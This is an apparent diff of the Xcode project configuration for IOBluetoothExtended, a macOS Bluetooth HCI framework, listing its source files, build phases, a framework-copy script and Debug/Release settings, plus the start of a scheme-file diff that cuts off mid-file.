||||
/* Begin PBXBuildFile section */
|
||||
8C3047E2231D7CAE0003E282 /* HCIDelegate.m in Sources */ = {isa = PBXBuildFile; fileRef = 8C3047E1231D7CAE0003E282 /* HCIDelegate.m */; };
|
||||
8C3047EA231DCDE30003E282 /* HCIDelegate.swift in Sources */ = {isa = PBXBuildFile; fileRef = 8C3047E9231DCDE30003E282 /* HCIDelegate.swift */; };
|
||||
8C31742A22D1049E004B9604 /* IOBluetoothExtended.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = 8C31742022D1049D004B9604 /* IOBluetoothExtended.framework */; };
|
||||
8C31742F22D1049E004B9604 /* IOBluetoothExtendedTests.m in Sources */ = {isa = PBXBuildFile; fileRef = 8C31742E22D1049E004B9604 /* IOBluetoothExtendedTests.m */; };
|
||||
8C31743122D1049E004B9604 /* IOBluetoothExtended.h in Headers */ = {isa = PBXBuildFile; fileRef = 8C31742322D1049D004B9604 /* IOBluetoothExtended.h */; settings = {ATTRIBUTES = (Public, ); }; };
|
||||
8C3174AF22D10E11004B9604 /* HCIDelegate.h in Headers */ = {isa = PBXBuildFile; fileRef = 8C31743A22D104DA004B9604 /* HCIDelegate.h */; settings = {ATTRIBUTES = (Public, ); }; };
|
||||
8C3174B122D10E4C004B9604 /* IOBluetoothHostController.h in Headers */ = {isa = PBXBuildFile; fileRef = 8C31744122D10516004B9604 /* IOBluetoothHostController.h */; settings = {ATTRIBUTES = (Public, ); }; };
|
||||
8C57A7432333A6E100037C3D /* HCICommunicator.m in Sources */ = {isa = PBXBuildFile; fileRef = 8C57A7422333A6E100037C3D /* HCICommunicator.m */; };
|
||||
8C57A7442333A7C400037C3D /* HCICommunicator.h in Headers */ = {isa = PBXBuildFile; fileRef = 8C57A7412333A6D000037C3D /* HCICommunicator.h */; settings = {ATTRIBUTES = (Public, ); }; };
|
||||
8C72A82823339457001A9806 /* IOBE.m in Sources */ = {isa = PBXBuildFile; fileRef = 8C72A82723339457001A9806 /* IOBE.m */; };
|
||||
8CE61E5D232AE8D20086419F /* Extensions.swift in Sources */ = {isa = PBXBuildFile; fileRef = 8CE61E5C232AE8D20086419F /* Extensions.swift */; };
|
||||
/* End PBXBuildFile section */
|
||||
|
||||
/* Begin PBXContainerItemProxy section */
|
||||
8C31742B22D1049E004B9604 /* PBXContainerItemProxy */ = {
|
||||
isa = PBXContainerItemProxy;
|
||||
containerPortal = 8C31741722D1049D004B9604 /* Project object */;
|
||||
proxyType = 1;
|
||||
remoteGlobalIDString = 8C31741F22D1049D004B9604;
|
||||
remoteInfo = IOBluetoothExtended;
|
||||
};
|
||||
/* End PBXContainerItemProxy section */
|
||||
|
||||
/* Begin PBXFileReference section */
|
||||
8C3047E1231D7CAE0003E282 /* HCIDelegate.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = HCIDelegate.m; sourceTree = "<group>"; };
|
||||
8C3047E9231DCDE30003E282 /* HCIDelegate.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = HCIDelegate.swift; sourceTree = "<group>"; };
|
||||
8C31742022D1049D004B9604 /* IOBluetoothExtended.framework */ = {isa = PBXFileReference; explicitFileType = wrapper.framework; includeInIndex = 0; path = IOBluetoothExtended.framework; sourceTree = BUILT_PRODUCTS_DIR; };
|
||||
8C31742322D1049D004B9604 /* IOBluetoothExtended.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = IOBluetoothExtended.h; sourceTree = "<group>"; };
|
||||
8C31742422D1049D004B9604 /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = "<group>"; };
|
||||
8C31742922D1049E004B9604 /* IOBluetoothExtendedTests.xctest */ = {isa = PBXFileReference; explicitFileType = wrapper.cfbundle; includeInIndex = 0; path = IOBluetoothExtendedTests.xctest; sourceTree = BUILT_PRODUCTS_DIR; };
|
||||
8C31742E22D1049E004B9604 /* IOBluetoothExtendedTests.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = IOBluetoothExtendedTests.m; sourceTree = "<group>"; };
|
||||
8C31743022D1049E004B9604 /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = "<group>"; };
|
||||
8C31743A22D104DA004B9604 /* HCIDelegate.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = HCIDelegate.h; sourceTree = "<group>"; };
|
||||
8C31744122D10516004B9604 /* IOBluetoothHostController.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = IOBluetoothHostController.h; sourceTree = "<group>"; };
|
||||
8C57A7412333A6D000037C3D /* HCICommunicator.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = HCICommunicator.h; sourceTree = "<group>"; };
|
||||
8C57A7422333A6E100037C3D /* HCICommunicator.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = HCICommunicator.m; sourceTree = "<group>"; };
|
||||
8C72A82723339457001A9806 /* IOBE.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = IOBE.m; sourceTree = "<group>"; };
|
||||
8C72A8322333A100001A9806 /* IOBE.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = IOBE.h; sourceTree = "<group>"; };
|
||||
8CE61E5C232AE8D20086419F /* Extensions.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = Extensions.swift; sourceTree = "<group>"; };
|
||||
/* End PBXFileReference section */
|
||||
|
||||
/* Begin PBXFrameworksBuildPhase section */
|
||||
8C31741D22D1049D004B9604 /* Frameworks */ = {
|
||||
isa = PBXFrameworksBuildPhase;
|
||||
buildActionMask = 2147483647;
|
||||
files = (
|
||||
);
|
||||
runOnlyForDeploymentPostprocessing = 0;
|
||||
};
|
||||
8C31742622D1049E004B9604 /* Frameworks */ = {
|
||||
isa = PBXFrameworksBuildPhase;
|
||||
buildActionMask = 2147483647;
|
||||
files = (
|
||||
8C31742A22D1049E004B9604 /* IOBluetoothExtended.framework in Frameworks */,
|
||||
);
|
||||
runOnlyForDeploymentPostprocessing = 0;
|
||||
};
|
||||
/* End PBXFrameworksBuildPhase section */
|
||||
|
||||
/* Begin PBXGroup section */
|
||||
8C31741622D1049D004B9604 = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
8C31742222D1049D004B9604 /* IOBluetoothExtended */,
|
||||
8C31742D22D1049E004B9604 /* IOBluetoothExtendedTests */,
|
||||
8C31742122D1049D004B9604 /* Products */,
|
||||
);
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
8C31742122D1049D004B9604 /* Products */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
8C31742022D1049D004B9604 /* IOBluetoothExtended.framework */,
|
||||
8C31742922D1049E004B9604 /* IOBluetoothExtendedTests.xctest */,
|
||||
);
|
||||
name = Products;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
8C31742222D1049D004B9604 /* IOBluetoothExtended */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
8C72A82B2333949C001A9806 /* Util */,
|
||||
8C31742322D1049D004B9604 /* IOBluetoothExtended.h */,
|
||||
8C31744122D10516004B9604 /* IOBluetoothHostController.h */,
|
||||
8C72A8322333A100001A9806 /* IOBE.h */,
|
||||
8C72A82723339457001A9806 /* IOBE.m */,
|
||||
8C31743A22D104DA004B9604 /* HCIDelegate.h */,
|
||||
8C3047E1231D7CAE0003E282 /* HCIDelegate.m */,
|
||||
8C3047E9231DCDE30003E282 /* HCIDelegate.swift */,
|
||||
8C57A7412333A6D000037C3D /* HCICommunicator.h */,
|
||||
8C57A7422333A6E100037C3D /* HCICommunicator.m */,
|
||||
8CE61E5C232AE8D20086419F /* Extensions.swift */,
|
||||
8C31742422D1049D004B9604 /* Info.plist */,
|
||||
);
|
||||
path = IOBluetoothExtended;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
8C31742D22D1049E004B9604 /* IOBluetoothExtendedTests */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
8C31742E22D1049E004B9604 /* IOBluetoothExtendedTests.m */,
|
||||
8C31743022D1049E004B9604 /* Info.plist */,
|
||||
);
|
||||
path = IOBluetoothExtendedTests;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
8C72A82B2333949C001A9806 /* Util */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
);
|
||||
path = Util;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
/* End PBXGroup section */
|
||||
|
||||
/* Begin PBXHeadersBuildPhase section */
|
||||
8C31741B22D1049D004B9604 /* Headers */ = {
|
||||
isa = PBXHeadersBuildPhase;
|
||||
buildActionMask = 2147483647;
|
||||
files = (
|
||||
8C57A7442333A7C400037C3D /* HCICommunicator.h in Headers */,
|
||||
8C3174AF22D10E11004B9604 /* HCIDelegate.h in Headers */,
|
||||
8C31743122D1049E004B9604 /* IOBluetoothExtended.h in Headers */,
|
||||
8C3174B122D10E4C004B9604 /* IOBluetoothHostController.h in Headers */,
|
||||
);
|
||||
runOnlyForDeploymentPostprocessing = 0;
|
||||
};
|
||||
/* End PBXHeadersBuildPhase section */
|
||||
|
||||
/* Begin PBXNativeTarget section */
|
||||
8C31741F22D1049D004B9604 /* IOBluetoothExtended */ = {
|
||||
isa = PBXNativeTarget;
|
||||
buildConfigurationList = 8C31743422D1049E004B9604 /* Build configuration list for PBXNativeTarget "IOBluetoothExtended" */;
|
||||
buildPhases = (
|
||||
8C31741B22D1049D004B9604 /* Headers */,
|
||||
8C31741C22D1049D004B9604 /* Sources */,
|
||||
8C31741D22D1049D004B9604 /* Frameworks */,
|
||||
8C31741E22D1049D004B9604 /* Resources */,
|
||||
8C5F1E5923605FFF00945944 /* ShellScript */,
|
||||
);
|
||||
buildRules = (
|
||||
);
|
||||
dependencies = (
|
||||
);
|
||||
name = IOBluetoothExtended;
|
||||
productName = IOBluetoothExtended;
|
||||
productReference = 8C31742022D1049D004B9604 /* IOBluetoothExtended.framework */;
|
||||
productType = "com.apple.product-type.framework";
|
||||
};
|
||||
8C31742822D1049E004B9604 /* IOBluetoothExtendedTests */ = {
|
||||
isa = PBXNativeTarget;
|
||||
buildConfigurationList = 8C31743722D1049E004B9604 /* Build configuration list for PBXNativeTarget "IOBluetoothExtendedTests" */;
|
||||
buildPhases = (
|
||||
8C31742522D1049E004B9604 /* Sources */,
|
||||
8C31742622D1049E004B9604 /* Frameworks */,
|
||||
8C31742722D1049E004B9604 /* Resources */,
|
||||
);
|
||||
buildRules = (
|
||||
);
|
||||
dependencies = (
|
||||
8C31742C22D1049E004B9604 /* PBXTargetDependency */,
|
||||
);
|
||||
name = IOBluetoothExtendedTests;
|
||||
productName = IOBluetoothExtendedTests;
|
||||
productReference = 8C31742922D1049E004B9604 /* IOBluetoothExtendedTests.xctest */;
|
||||
productType = "com.apple.product-type.bundle.unit-test";
|
||||
};
|
||||
/* End PBXNativeTarget section */
|
||||
|
||||
/* Begin PBXProject section */
|
||||
8C31741722D1049D004B9604 /* Project object */ = {
|
||||
isa = PBXProject;
|
||||
attributes = {
|
||||
LastUpgradeCheck = 1100;
|
||||
ORGANIZATIONNAME = "Davide Toldo";
|
||||
TargetAttributes = {
|
||||
8C31741F22D1049D004B9604 = {
|
||||
CreatedOnToolsVersion = 10.2.1;
|
||||
LastSwiftMigration = 1030;
|
||||
};
|
||||
8C31742822D1049E004B9604 = {
|
||||
CreatedOnToolsVersion = 10.2.1;
|
||||
};
|
||||
};
|
||||
};
|
||||
buildConfigurationList = 8C31741A22D1049D004B9604 /* Build configuration list for PBXProject "IOBluetoothExtended" */;
|
||||
compatibilityVersion = "Xcode 9.3";
|
||||
developmentRegion = en;
|
||||
hasScannedForEncodings = 0;
|
||||
knownRegions = (
|
||||
en,
|
||||
);
|
||||
mainGroup = 8C31741622D1049D004B9604;
|
||||
productRefGroup = 8C31742122D1049D004B9604 /* Products */;
|
||||
projectDirPath = "";
|
||||
projectRoot = "";
|
||||
targets = (
|
||||
8C31741F22D1049D004B9604 /* IOBluetoothExtended */,
|
||||
8C31742822D1049E004B9604 /* IOBluetoothExtendedTests */,
|
||||
);
|
||||
};
|
||||
/* End PBXProject section */
|
||||
|
||||
/* Begin PBXResourcesBuildPhase section */
|
||||
8C31741E22D1049D004B9604 /* Resources */ = {
|
||||
isa = PBXResourcesBuildPhase;
|
||||
buildActionMask = 2147483647;
|
||||
files = (
|
||||
);
|
||||
runOnlyForDeploymentPostprocessing = 0;
|
||||
};
|
||||
8C31742722D1049E004B9604 /* Resources */ = {
|
||||
isa = PBXResourcesBuildPhase;
|
||||
buildActionMask = 2147483647;
|
||||
files = (
|
||||
);
|
||||
runOnlyForDeploymentPostprocessing = 0;
|
||||
};
|
||||
/* End PBXResourcesBuildPhase section */
|
||||
|
||||
/* Begin PBXShellScriptBuildPhase section */
|
||||
8C5F1E5923605FFF00945944 /* ShellScript */ = {
|
||||
isa = PBXShellScriptBuildPhase;
|
||||
buildActionMask = 2147483647;
|
||||
files = (
|
||||
);
|
||||
inputFileListPaths = (
|
||||
);
|
||||
inputPaths = (
|
||||
);
|
||||
outputFileListPaths = (
|
||||
);
|
||||
outputPaths = (
|
||||
);
|
||||
runOnlyForDeploymentPostprocessing = 0;
|
||||
shellPath = /bin/sh;
|
||||
shellScript = "# Type a script or drag a script file from your workspace to insert its path.\ncp -r ${BUILT_PRODUCTS_DIR}/${EXECUTABLE_NAME}.framework ../${EXECUTABLE_NAME}.framework\n";
|
||||
};
|
||||
/* End PBXShellScriptBuildPhase section */
|
||||
|
||||
/* Begin PBXSourcesBuildPhase section */
|
||||
8C31741C22D1049D004B9604 /* Sources */ = {
|
||||
isa = PBXSourcesBuildPhase;
|
||||
buildActionMask = 2147483647;
|
||||
files = (
|
||||
8C72A82823339457001A9806 /* IOBE.m in Sources */,
|
||||
8CE61E5D232AE8D20086419F /* Extensions.swift in Sources */,
|
||||
8C57A7432333A6E100037C3D /* HCICommunicator.m in Sources */,
|
||||
8C3047E2231D7CAE0003E282 /* HCIDelegate.m in Sources */,
|
||||
8C3047EA231DCDE30003E282 /* HCIDelegate.swift in Sources */,
|
||||
);
|
||||
runOnlyForDeploymentPostprocessing = 0;
|
||||
};
|
||||
8C31742522D1049E004B9604 /* Sources */ = {
|
||||
isa = PBXSourcesBuildPhase;
|
||||
buildActionMask = 2147483647;
|
||||
files = (
|
||||
8C31742F22D1049E004B9604 /* IOBluetoothExtendedTests.m in Sources */,
|
||||
);
|
||||
runOnlyForDeploymentPostprocessing = 0;
|
||||
};
|
||||
/* End PBXSourcesBuildPhase section */
|
||||
|
||||
/* Begin PBXTargetDependency section */
|
||||
8C31742C22D1049E004B9604 /* PBXTargetDependency */ = {
|
||||
isa = PBXTargetDependency;
|
||||
target = 8C31741F22D1049D004B9604 /* IOBluetoothExtended */;
|
||||
targetProxy = 8C31742B22D1049E004B9604 /* PBXContainerItemProxy */;
|
||||
};
|
||||
/* End PBXTargetDependency section */
|
||||
|
||||
/* Begin XCBuildConfiguration section */
|
||||
8C31743222D1049E004B9604 /* Debug */ = {
|
||||
isa = XCBuildConfiguration;
|
||||
buildSettings = {
|
||||
ALWAYS_SEARCH_USER_PATHS = NO;
|
||||
CLANG_ANALYZER_NONNULL = YES;
|
||||
CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE;
|
||||
CLANG_CXX_LANGUAGE_STANDARD = "gnu++14";
|
||||
CLANG_CXX_LIBRARY = "libc++";
|
||||
CLANG_ENABLE_MODULES = YES;
|
||||
CLANG_ENABLE_OBJC_ARC = YES;
|
||||
CLANG_ENABLE_OBJC_WEAK = YES;
|
||||
CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES;
|
||||
CLANG_WARN_BOOL_CONVERSION = YES;
|
||||
CLANG_WARN_COMMA = YES;
|
||||
CLANG_WARN_CONSTANT_CONVERSION = YES;
|
||||
CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES;
|
||||
CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR;
|
||||
CLANG_WARN_DOCUMENTATION_COMMENTS = YES;
|
||||
CLANG_WARN_EMPTY_BODY = YES;
|
||||
CLANG_WARN_ENUM_CONVERSION = YES;
|
||||
CLANG_WARN_INFINITE_RECURSION = YES;
|
||||
CLANG_WARN_INT_CONVERSION = YES;
|
||||
CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES;
|
||||
CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES;
|
||||
CLANG_WARN_OBJC_LITERAL_CONVERSION = YES;
|
||||
CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR;
|
||||
CLANG_WARN_RANGE_LOOP_ANALYSIS = YES;
|
||||
CLANG_WARN_STRICT_PROTOTYPES = YES;
|
||||
CLANG_WARN_SUSPICIOUS_MOVE = YES;
|
||||
CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE;
|
||||
CLANG_WARN_UNREACHABLE_CODE = YES;
|
||||
CLANG_WARN__DUPLICATE_METHOD_MATCH = YES;
|
||||
CODE_SIGN_IDENTITY = "Mac Developer";
|
||||
COPY_PHASE_STRIP = NO;
|
||||
CURRENT_PROJECT_VERSION = 1;
|
||||
DEBUG_INFORMATION_FORMAT = dwarf;
|
||||
ENABLE_STRICT_OBJC_MSGSEND = YES;
|
||||
ENABLE_TESTABILITY = YES;
|
||||
GCC_C_LANGUAGE_STANDARD = gnu11;
|
||||
GCC_DYNAMIC_NO_PIC = NO;
|
||||
GCC_NO_COMMON_BLOCKS = YES;
|
||||
GCC_OPTIMIZATION_LEVEL = 0;
|
||||
GCC_PREPROCESSOR_DEFINITIONS = (
|
||||
"DEBUG=1",
|
||||
"$(inherited)",
|
||||
);
|
||||
GCC_WARN_64_TO_32_BIT_CONVERSION = YES;
|
||||
GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR;
|
||||
GCC_WARN_UNDECLARED_SELECTOR = YES;
|
||||
GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE;
|
||||
GCC_WARN_UNUSED_FUNCTION = YES;
|
||||
GCC_WARN_UNUSED_VARIABLE = YES;
|
||||
MACOSX_DEPLOYMENT_TARGET = 10.14;
|
||||
MTL_ENABLE_DEBUG_INFO = INCLUDE_SOURCE;
|
||||
MTL_FAST_MATH = YES;
|
||||
ONLY_ACTIVE_ARCH = YES;
|
||||
SDKROOT = macosx;
|
||||
VERSIONING_SYSTEM = "apple-generic";
|
||||
VERSION_INFO_PREFIX = "";
|
||||
};
|
||||
name = Debug;
|
||||
};
|
||||
8C31743322D1049E004B9604 /* Release */ = {
|
||||
isa = XCBuildConfiguration;
|
||||
buildSettings = {
|
||||
ALWAYS_SEARCH_USER_PATHS = NO;
|
||||
CLANG_ANALYZER_NONNULL = YES;
|
||||
CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE;
|
||||
CLANG_CXX_LANGUAGE_STANDARD = "gnu++14";
|
||||
CLANG_CXX_LIBRARY = "libc++";
|
||||
CLANG_ENABLE_MODULES = YES;
|
||||
CLANG_ENABLE_OBJC_ARC = YES;
|
||||
CLANG_ENABLE_OBJC_WEAK = YES;
|
||||
CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES;
|
||||
CLANG_WARN_BOOL_CONVERSION = YES;
|
||||
CLANG_WARN_COMMA = YES;
|
||||
CLANG_WARN_CONSTANT_CONVERSION = YES;
|
||||
CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES;
|
||||
CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR;
|
||||
CLANG_WARN_DOCUMENTATION_COMMENTS = YES;
|
||||
CLANG_WARN_EMPTY_BODY = YES;
|
||||
CLANG_WARN_ENUM_CONVERSION = YES;
|
||||
CLANG_WARN_INFINITE_RECURSION = YES;
|
||||
CLANG_WARN_INT_CONVERSION = YES;
|
||||
CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES;
|
||||
CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES;
|
||||
CLANG_WARN_OBJC_LITERAL_CONVERSION = YES;
|
||||
CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR;
|
||||
CLANG_WARN_RANGE_LOOP_ANALYSIS = YES;
|
||||
CLANG_WARN_STRICT_PROTOTYPES = YES;
|
||||
CLANG_WARN_SUSPICIOUS_MOVE = YES;
|
||||
CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE;
|
||||
CLANG_WARN_UNREACHABLE_CODE = YES;
|
||||
CLANG_WARN__DUPLICATE_METHOD_MATCH = YES;
|
||||
CODE_SIGN_IDENTITY = "Mac Developer";
|
||||
COPY_PHASE_STRIP = NO;
|
||||
CURRENT_PROJECT_VERSION = 1;
|
||||
DEBUG_INFORMATION_FORMAT = "dwarf-with-dsym";
|
||||
ENABLE_NS_ASSERTIONS = NO;
|
||||
ENABLE_STRICT_OBJC_MSGSEND = YES;
|
||||
GCC_C_LANGUAGE_STANDARD = gnu11;
|
||||
GCC_NO_COMMON_BLOCKS = YES;
|
||||
GCC_WARN_64_TO_32_BIT_CONVERSION = YES;
|
||||
GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR;
|
||||
GCC_WARN_UNDECLARED_SELECTOR = YES;
|
||||
GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE;
|
||||
GCC_WARN_UNUSED_FUNCTION = YES;
|
||||
GCC_WARN_UNUSED_VARIABLE = YES;
|
||||
MACOSX_DEPLOYMENT_TARGET = 10.14;
|
||||
MTL_ENABLE_DEBUG_INFO = NO;
|
||||
MTL_FAST_MATH = YES;
|
||||
SDKROOT = macosx;
|
||||
SWIFT_COMPILATION_MODE = wholemodule;
|
||||
VERSIONING_SYSTEM = "apple-generic";
|
||||
VERSION_INFO_PREFIX = "";
|
||||
};
|
||||
name = Release;
|
||||
};
|
||||
8C31743522D1049E004B9604 /* Debug */ = {
|
||||
isa = XCBuildConfiguration;
|
||||
buildSettings = {
|
||||
CLANG_ALLOW_NON_MODULAR_INCLUDES_IN_FRAMEWORK_MODULES = YES;
|
||||
CLANG_ENABLE_MODULES = YES;
|
||||
CODE_SIGN_IDENTITY = "";
|
||||
CODE_SIGN_STYLE = Automatic;
|
||||
COMBINE_HIDPI_IMAGES = YES;
|
||||
DEFINES_MODULE = YES;
|
||||
DEVELOPMENT_TEAM = 27U966V459;
|
||||
DYLIB_COMPATIBILITY_VERSION = 1;
|
||||
DYLIB_CURRENT_VERSION = 1;
|
||||
DYLIB_INSTALL_NAME_BASE = "@rpath";
|
||||
FRAMEWORK_VERSION = A;
|
||||
GCC_NO_COMMON_BLOCKS = NO;
|
||||
INFOPLIST_FILE = IOBluetoothExtended/Info.plist;
|
||||
INSTALL_PATH = "$(LOCAL_LIBRARY_DIR)/Frameworks";
|
||||
LD_RUNPATH_SEARCH_PATHS = (
|
||||
"$(inherited)",
|
||||
"@executable_path/../Frameworks",
|
||||
"@loader_path/Frameworks",
|
||||
);
|
||||
PRODUCT_BUNDLE_IDENTIFIER = "de.tu-darmstadt.seemoo.IOBluetoothExtended";
|
||||
PRODUCT_NAME = "$(TARGET_NAME:c99extidentifier)";
|
||||
SKIP_INSTALL = YES;
|
||||
SWIFT_OBJC_BRIDGING_HEADER = "";
|
||||
SWIFT_OBJC_INTERFACE_HEADER_NAME = "IOBluetoothExtended-Swift.h";
|
||||
SWIFT_OPTIMIZATION_LEVEL = "-Onone";
|
||||
SWIFT_VERSION = 5.0;
|
||||
};
|
||||
name = Debug;
|
||||
};
|
||||
8C31743622D1049E004B9604 /* Release */ = {
|
||||
isa = XCBuildConfiguration;
|
||||
buildSettings = {
|
||||
CLANG_ALLOW_NON_MODULAR_INCLUDES_IN_FRAMEWORK_MODULES = YES;
|
||||
CLANG_ENABLE_MODULES = YES;
|
||||
CODE_SIGN_IDENTITY = "";
|
||||
CODE_SIGN_STYLE = Automatic;
|
||||
COMBINE_HIDPI_IMAGES = YES;
|
||||
DEFINES_MODULE = YES;
|
||||
DEVELOPMENT_TEAM = 27U966V459;
|
||||
DYLIB_COMPATIBILITY_VERSION = 1;
|
||||
DYLIB_CURRENT_VERSION = 1;
|
||||
DYLIB_INSTALL_NAME_BASE = "@rpath";
|
||||
FRAMEWORK_VERSION = A;
|
||||
GCC_NO_COMMON_BLOCKS = NO;
|
||||
INFOPLIST_FILE = IOBluetoothExtended/Info.plist;
|
||||
INSTALL_PATH = "$(LOCAL_LIBRARY_DIR)/Frameworks";
|
||||
LD_RUNPATH_SEARCH_PATHS = (
|
||||
"$(inherited)",
|
||||
"@executable_path/../Frameworks",
|
||||
"@loader_path/Frameworks",
|
||||
);
|
||||
PRODUCT_BUNDLE_IDENTIFIER = "de.tu-darmstadt.seemoo.IOBluetoothExtended";
|
||||
PRODUCT_NAME = "$(TARGET_NAME:c99extidentifier)";
|
||||
SKIP_INSTALL = YES;
|
||||
SWIFT_OBJC_BRIDGING_HEADER = "";
|
||||
SWIFT_OBJC_INTERFACE_HEADER_NAME = "IOBluetoothExtended-Swift.h";
|
||||
SWIFT_VERSION = 5.0;
|
||||
};
|
||||
name = Release;
|
||||
};
|
||||
8C31743822D1049E004B9604 /* Debug */ = {
|
||||
isa = XCBuildConfiguration;
|
||||
buildSettings = {
|
||||
ALWAYS_EMBED_SWIFT_STANDARD_LIBRARIES = YES;
|
||||
CODE_SIGN_STYLE = Automatic;
|
||||
COMBINE_HIDPI_IMAGES = YES;
|
||||
DEVELOPMENT_TEAM = M66VH9B6C7;
|
||||
INFOPLIST_FILE = IOBluetoothExtendedTests/Info.plist;
|
||||
LD_RUNPATH_SEARCH_PATHS = (
|
||||
"$(inherited)",
|
||||
"@executable_path/../Frameworks",
|
||||
"@loader_path/../Frameworks",
|
||||
);
|
||||
PRODUCT_BUNDLE_IDENTIFIER = com.davidetoldo.IOBluetoothExtendedTests;
|
||||
PRODUCT_NAME = "$(TARGET_NAME)";
|
||||
};
|
||||
name = Debug;
|
||||
};
|
||||
8C31743922D1049E004B9604 /* Release */ = {
|
||||
isa = XCBuildConfiguration;
|
||||
buildSettings = {
|
||||
ALWAYS_EMBED_SWIFT_STANDARD_LIBRARIES = YES;
|
||||
CODE_SIGN_STYLE = Automatic;
|
||||
COMBINE_HIDPI_IMAGES = YES;
|
||||
DEVELOPMENT_TEAM = M66VH9B6C7;
|
||||
INFOPLIST_FILE = IOBluetoothExtendedTests/Info.plist;
|
||||
LD_RUNPATH_SEARCH_PATHS = (
|
||||
"$(inherited)",
|
||||
"@executable_path/../Frameworks",
|
||||
"@loader_path/../Frameworks",
|
||||
);
|
||||
PRODUCT_BUNDLE_IDENTIFIER = com.davidetoldo.IOBluetoothExtendedTests;
|
||||
PRODUCT_NAME = "$(TARGET_NAME)";
|
||||
};
|
||||
name = Release;
|
||||
};
|
||||
/* End XCBuildConfiguration section */
|
||||
|
||||
/* Begin XCConfigurationList section */
|
||||
8C31741A22D1049D004B9604 /* Build configuration list for PBXProject "IOBluetoothExtended" */ = {
|
||||
isa = XCConfigurationList;
|
||||
buildConfigurations = (
|
||||
8C31743222D1049E004B9604 /* Debug */,
|
||||
8C31743322D1049E004B9604 /* Release */,
|
||||
);
|
||||
defaultConfigurationIsVisible = 0;
|
||||
defaultConfigurationName = Release;
|
||||
};
|
||||
8C31743422D1049E004B9604 /* Build configuration list for PBXNativeTarget "IOBluetoothExtended" */ = {
|
||||
isa = XCConfigurationList;
|
||||
buildConfigurations = (
|
||||
8C31743522D1049E004B9604 /* Debug */,
|
||||
8C31743622D1049E004B9604 /* Release */,
|
||||
);
|
||||
defaultConfigurationIsVisible = 0;
|
||||
defaultConfigurationName = Release;
|
||||
};
|
||||
8C31743722D1049E004B9604 /* Build configuration list for PBXNativeTarget "IOBluetoothExtendedTests" */ = {
|
||||
isa = XCConfigurationList;
|
||||
buildConfigurations = (
|
||||
8C31743822D1049E004B9604 /* Debug */,
|
||||
8C31743922D1049E004B9604 /* Release */,
|
||||
);
|
||||
defaultConfigurationIsVisible = 0;
|
||||
defaultConfigurationName = Release;
|
||||
};
|
||||
/* End XCConfigurationList section */
|
||||
};
|
||||
rootObject = 8C31741722D1049D004B9604 /* Project object */;
|
||||
}
|
||||
+19
-22
@@ -1,6 +1,6 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<Scheme
|
||||
LastUpgradeVersion = "1020"
|
||||
LastUpgradeVersion = "1110"
|
||||
version = "1.3">
|
||||
<BuildAction
|
||||
parallelizeBuildables = "YES"
|
||||
@@ -14,10 +14,10 @@
|
||||
buildForAnalyzing = "YES">
|
||||
<BuildableReference
|
||||
BuildableIdentifier = "primary"
|
||||
BlueprintIdentifier = "551A88C3208E671F0048DFA0"
|
||||
BuildableName = "internalblue-ios-proxy"
|
||||
BlueprintName = "internalblue-ios-proxy"
|
||||
ReferencedContainer = "container:internalblue-ios-proxy.xcodeproj">
|
||||
BlueprintIdentifier = "8C31741F22D1049D004B9604"
|
||||
BuildableName = "IOBluetoothExtended.framework"
|
||||
BlueprintName = "IOBluetoothExtended"
|
||||
ReferencedContainer = "container:IOBluetoothExtended.xcodeproj">
|
||||
</BuildableReference>
|
||||
</BuildActionEntry>
|
||||
</BuildActionEntries>
|
||||
@@ -28,9 +28,17 @@
|
||||
selectedLauncherIdentifier = "Xcode.DebuggerFoundation.Launcher.LLDB"
|
||||
shouldUseLaunchSchemeArgsEnv = "YES">
|
||||
<Testables>
|
||||
<TestableReference
|
||||
skipped = "NO">
|
||||
